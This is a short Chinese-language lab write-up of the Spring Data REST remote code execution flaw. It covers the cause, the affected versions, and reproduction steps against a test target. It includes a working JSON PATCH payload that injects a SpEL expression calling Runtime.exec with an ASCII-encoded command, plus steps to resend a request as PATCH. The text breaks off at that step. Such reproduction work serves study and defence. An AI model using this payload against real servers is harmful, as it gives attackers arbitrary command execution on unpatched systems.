漏洞简介
Spring Data Rest框架的概念
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
漏洞原理:Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码.
漏洞影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
环境搭建
漏洞复现
打开环境后可以看到这个页面
漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的.
将 touch /tmp/success 进行ASCII-字符 转换
中间加逗号隔离,将其拼接到 payload 里面,最后得到
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
验证漏洞
(1)访问 http://靶场ip:8080/customers/1 进行抓包
(2)转包之后将GET修改为PATCH